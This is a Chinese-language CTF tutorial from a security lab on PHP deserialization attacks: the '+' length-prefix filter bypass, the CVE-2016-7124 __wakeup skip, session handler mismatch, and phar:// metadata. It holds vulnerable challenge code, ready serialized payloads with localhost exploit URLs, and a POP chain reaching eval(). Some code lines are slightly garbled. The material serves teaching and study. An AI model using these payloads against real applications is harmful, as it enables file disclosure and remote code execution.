﹀
﹀
﹀
目录
目录
private变量与protected变量序列化后的特点
序列化后的字段长度前面可以加+
题目
解题步骤
CVE-2016-7124
漏洞介绍
演示代码
题目
解题步骤
PHP Session 反序列化
PHP的3种序列化处理器
安全问题
当 session.auto_start=Off 时
测试Demo
题目
解题步骤
phar反序列化
private变量与protected变量序列化后的特点
x00 + 类名 + x00 + 变量名 ‐> 反序列化为private变量 x00 + * + x00 + 变量名 ‐> 反序列化为protected变量
<?php
highlight_file(__FILE__);
class user{
private $name2 = 'leo';
protected $age2 = 19;
public function print_data(){
echo $this‐>name2 . ' is ' . $this‐>age2 . ' years old <br>';
}
}
$user = new user();
$user‐>print_data();
echo serialize($user);
?> leo is 19 years old
O:4:"user":2:{s:11:"username2";s:3:"leo";s:7:"*age2";i:19;}
序列化后的字段长度前面可以加+
题目
<?php
@error_reporting(1);
class baby
{
public $file;
function __toString()
{
if(isset($this‐>file))
{
$filename = "./{$this‐>file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches); // 这里匹配到O后面跟着数字就拦截
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
解题步骤
<?php
// highlight_file(__FILE__);
class baby
{
public $file;
function __toString()
{
if(isset($this‐>file))
{
$filename = "./{$this‐>file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$baby = new baby();
$baby‐>file = 'flag.php';
echo serialize($baby);
?>
得到如下内容:
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
http://127.0.0.1/ctf.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
CVE-2016-7124
漏洞介绍
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
演示代码
<?php
highlight_file(__FILE__);
class test{
var $bull;
public function __destruct(){
$this‐>bull = "destruct<br/>";
echo $this‐>bull;
echo "destruct ok!<br/>";
}
public function __wakeup(){
$this‐>bull = "wake up<br/>";
echo $this‐>bull;
echo "wake up ok!<br/>";
}
}
// 正常payload
// $payload = O:4:"test":1:{s:4:"bull";s:4:"sdfz";}
// 触发漏洞的payload
$payload = 'O:4:"test":2:{s:4:"bull";s:4:"sdfz";}';
$abc = unserialize($payload);
?>
题目
<?php
class SoFun{
protected $file='index.php';
public function __construct($file){
$this‐>file = $file;
}
function __destruct(){
if(!empty($this‐>file))
{
//查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误
if(strchr($this‐>file,"\\")===false && strchr($this‐>file, '/')===false)
{
show_source(dirname (__FILE__).'/'.$this ‐>file);
}
else{
die('Wrong filename.');
}
}
}
function __wakeup()
{
$this‐> file='index.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file']))
{
show_source('index.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file);
}
?>
解题步骤
<?php
class SoFun{
protected $file='index.php';
public function __construct($file){
$this‐>file = $file;
}
function __destruct(){
if(!empty($this‐>file))
{
//查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误
if(strchr($this‐>file,"\\")===false && strchr($this‐>file, '/')===false)
{
show_source(dirname (__FILE__).'/'.$this ‐>file);
}
else{
die('Wrong filename.');
}
}
}
function __wakeup()
{
$this‐> file='index.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file']))
{
//show_source('index.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file);
}
$test = new SoFun('flag.php');
echo base64_encode(serialize($test));
结果:
Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
?>
# 把变量数量更改为大于实际的变量数量并重新用base64编码 Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
http://127.0.0.1/test.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
PHP Session 反序列化
PHP的3种序列化处理器
处理器 |
对应的存储格式 |
php |
键名 + 竖线 + 经过 serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
php_serialize(php>=5.5.4) | 经过serialize()函数序列化处理的数组 |
当 session.auto_start=Off 时
1. php
<?php ini_set("session.serialize_handler", 'php_serialize'); session_start();$_SESSION['a'] = $_GET['a']; ?>
<?php ini_set("session.serialize_handler", 'php'); session_start(); class peiqi{ public $meat = '123'; function __wakeup(){ echo "I AM Peiqi"; } function __destruct(){ echo $this‐>meat; } } ?>
<?php class peiqi{ public $meat = '123'; unction __wakeup(){ echo "I AM Peiqi"; } function __destruct(){ echo $this‐>meat; } } $a = new peiqi(); $a‐>meat = '3333'; echo serialize($a); // 输出结果O:5:"peiqi":1:{s:4:"meat";s:4:"3333";} ?>
http://localhost/test/1.php?a=|O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}
题目
<?php ini_set('session.serialize_handler', 'php'); //服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题 require("./class.php"); session_start(); $obj = new foo1(); $obj‐>varr = "phpinfo.php"; ?>
<?php session_start(); require("./class.php"); $f3 = new foo3(); $f3‐>varr = "phpinfo();"; $f3‐>execute(); ?>
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this‐>varr = "index.php";
}
function __destruct(){
if(file_exists($this‐>varr)){
echo "<br>文件".$this‐>varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this‐>varr = '1234567890';
$this‐>obj = null;
}
function __toString(){
$this‐>obj‐>execute();
return $this‐>varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this‐>varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>
解题步骤
写入到session的数据内容为:session.upload_progress.prefix与 session.upload_progress.name连接在一起的值
链接:https://bugs.php.net/bug.php?id=71101
<form action="http://127.0.0.1/test/phpinfo.php" method="POST" enctype="multipart/form‐ data" > <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" /> <input type="file" name="file" /> <input type="submit" /> </form>
php.php -> 用来写入序列化内容
index.php -> 用来进行反序列化
class.php -> 用来被触发执行恶意代码
__wakeup:unserialize( )会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用 _wakeup 方法,预先准备对象需要的资源
__construct:具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__toString:_toString( ) 方法用于一个类被当成字符串时应怎样回应。
function execute(){ eval($this‐>varr); }
在foo2中我们看到
function __toString(){ $this‐>obj‐>execute(); return $this‐>varr; }
所以我们需要把obj实例化成foo3对象,并且这个是__tosgtring()的魔术方法
在foo1中我们看到
function __destruct(){ if(file_exists($this‐>varr)){ echo "<br>文件".$this‐>varr."存在<br>"; } echo "<br>这是foo1的析构函数<br>"; }
所以我们需要把varr实例化成foo2,来调用__tostring的魔术方法
1. 我们先构造序列化内容
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this‐>varr = "index.php";
}
function __destruct(){
if(file_exists($this‐>varr)){
echo "<br>文件".$this‐>varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this‐>varr = '1234567890';
$this‐>obj = null;
}
function __toString(){
$this‐>obj‐>execute();
return $this‐>varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this‐>varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
$a = new foo1();
$b= new foo2();
$c = new foo3();
$a‐>varr = $b;
$b‐>obj = $c;
$c‐>varr = "echo 'dfz';";
echo serialize($a);
// 输出结果:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:
{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:11:"echo 'dfz';";}}}
?>
2. 通过html页面,写入到session,同时序列化内容前要加上 |
3.访问index.php
利用phar函数可以在不适用unserialize()函数的情况下触发PHP反序列化漏洞
漏洞点在使用phar://协议读取文件时,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化 通过一下代码创建一个phar文件
通过一下代码创建一个phar文件
<?php
// create new Phar
$phar = new Phar('test.phar');
$phar‐>startBuffering();
$phar‐>addFromString('test.txt', 'text');
$phar‐>setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object‐>data = 'rips';
$phar‐>setMetadata($object);
$phar‐>stopBuffering();
?>
若出现下面这样的提示
Fatal error: Uncaught exception 'UnexpectedValueException' with message 'creating archive "test.phar" disabled by the php.ini setting phar.readonly' in D:phpstudyPHPTutorialWWWtestphar.php:3 Stack trace: #0 D:phpstudyPHPTutorialWWWtestphar.php(3): Phar‐>__construct('test.phar') #1 {main} thrown in D:phpstudyPHPTutorialWWWtestphar.php on line 3
把php.ini中的phar.readonly 改为 Off重启即可
phar文件的二进制内容如下
这个时候我们创建另一个php
include('phar://test.phar');
var_dump(file_exists('phar://test.phar'));
var_dump(file_get_contents('phar://test.phar'));
var_dump(file('phar://test.phar'));
# 改了文件名同样有效果
var_dump(file_get_contents('phar://test.jpg'));
var_dump(file_exists('phar://test.jpg'));
var_dump(file('phar://test.jpg'));
include('phar://test.jpg');
// 网站上的代码,同样可以
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);
<?php
// create new Phar
$phar = new Phar('test.phar');
$phar‐>startBuffering();
$phar‐>addFromString('test.txt', 'text');
$phar‐>setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object‐>data = 'rips';
$object‐>data1 = 'phpinfo();';
$phar‐>setMetadata($object);
$phar‐>stopBuffering();
?>
本文作者:Ms08067安全实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/123237.html